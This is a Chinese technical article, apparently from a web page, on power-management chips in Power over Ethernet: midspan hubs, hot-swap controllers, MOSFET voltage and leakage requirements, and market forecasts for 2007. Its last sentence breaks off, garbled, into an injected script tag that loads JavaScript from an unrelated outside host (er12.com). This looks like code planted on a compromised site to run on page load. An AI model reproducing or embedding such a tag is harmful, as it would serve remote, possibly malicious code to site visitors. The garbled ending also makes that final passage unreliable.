电源管理芯片在以太网供电中的应用

以太网供电(poe)为数据终端、无线接入点、网络摄像头或网络电话之类连接到以太网端口的设备提供一种有效的电源解决方案。在以太网供电应用中,电源管理器件在以太网交换机和poe“中跨”集线器中以及用电设备的dc-dc电源中用来转换电压和电流。本文作者介绍了如何用电源管理器件在网络交换机、用电设备中实现高性能供电。

图1:向后兼容以太网交换机的"中跨"式集线器。

以太网指的是ieee802.3标准所涵盖的各种局域网系统,这一术语还用来指用于如由高速数据线缆网络系统连接的中央文件服务器和多台pc机的协议。任何像数据终端、无线接入点、网络摄像头或网络电话之类连接到以太网端口的设备都需要用电池或独立的交流电源为其供电,如果在传输数据的同时为连接到网络上的设备提供电源将非常好,而如果这种供电方式能利用现有的以太网电缆来传送,这样就将具备100%的向后兼容能力,那就再好不过了。这正是ieee802.3af标准定义的poe标准所提供的,该标准的优点在于:

由于每一个设备仅需要一套线缆,简化了连接各个设备的布线,并降低了布线成本;

省去交流电源线以及交流适配器,使得工作环境更加安全、整洁并且开销更低;

可以很容易地将设备从一处搬移到另一处;

当交流主电源发生故障时,可以用不间断电源向设备继续供电;

连接到以太网的设备可以被远程监控。

正是这些优点使得poe成为一项从本质上改变了低功耗设备供电方式的全新技术。能通过poe技术供电的设备不胜枚举,可以在www.poweroverethernet.com网站上查看其具体的门类与品种。但是,当下推动poe总有效市场增长(tam, total available market)的主力是两类用电设备:wlan接入点和voip电话。到2007年,前者的年复合增长率(cagr)将为38%,达到1,500万台(数据来源:isuppli)。同时间,支持后者的企业网络预期将达到300万单位。而这些用电设备的需求反过来也推动着现有的以太网交换机升级,从而具备支持poe的能力。这可以通过使用下图中所示的“中跨”方案解决。据预测,这些设备的增长到2007年可以达到800万台,达到68%的增长。

在这些例子中,通过在网络中加入将电源注入双绞线lan电缆的“中跨”(midspan)poe集线器使原先的以太网交换机具备poe功能。新的以太网交换机将会包括这里提到的“中跨”集线器的功能,向通过高速数据电缆与其连接着的用电设备(pd)供电。这些用电设备可以是网络摄像头、voip电话、wlan接入点以及其它电器。如果主电源发生故障,ups将提供备用电源。

电源管理器件在以太网交换机中的应用

最新的以太网交换机能够通过其24或48个独立的端口向用电设备提供poe连接,并且还具有与非poe系统“向后兼容”的能力。每台用电设备都使用其自身的48v输入电源供电,每台设备最大允许功耗为15.4w,以太网交换机可以对每台设备的供电功率单独进行管理。

ieee802.3af poe标准最多允许在每台用电设备消耗大约13w的功率,而以太网交换机提供的最大15.4w的功率是为了弥补长电缆带来的一定程度损耗。在用电设备端,48v电源的实际电压值可以在36-57v范围内。高达最大开关电压两倍左右(根据经验允许开关尖峰等)的电压要求必须采用额定vds为100v的分立mosfet。

图2:热插拔控制器。

图2给出了一个poe控制器,使用分立的mosfet控制四个端口。在这个例子中,使用的是飞利浦半导体的pht4nq10t。按照这种配置,每台以太网交换机或“中跨”集线器要使用12片ic和48个mosfet。到2007年,用于这些应用的mosfet的总有效市场容量将达到5,700万美元(3亿8千4百万只),而ic则为4,800万美元(9,600万片)。

poe控制器通常指的是“热插拔”(hot swap)控制器,这些ic的功能包括:

分别控制四个独立的poe端口;

检测有效的用电设备的连接状况;

(使用低阻值的检测电阻)监控mosfet的稳态电流;

当用电设备刚刚连接到一个端口时,控制浪涌电流以及mosfet的功耗;

具备低电流断开检测功能以确定用电设备是否断开连接。

在正常工作下,当一个端口已经供电并且用电设备的旁路电容已经充电到端口电压,外部mosfet的功耗非常低。这意味着较小的mosfet就能用来完成这个功能。然而,ieee802.3af的其它要求,例如加电时的浪涌电流以及不兼容的用电设备连接到端口的风险,要求mosfet能承受很大的瞬态功耗。正是基于这些原因,才选用了分立mosfet而不是集成方案。

对于用在以太网交换机中的mosfet的更进一步的要求是在关断状态下的漏电流非常低。ieee802.3af要求每端口绝对最大漏电流不得高于12(a,而且这个要求还包括了除mosfet之外其它可能存在的保护电路?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计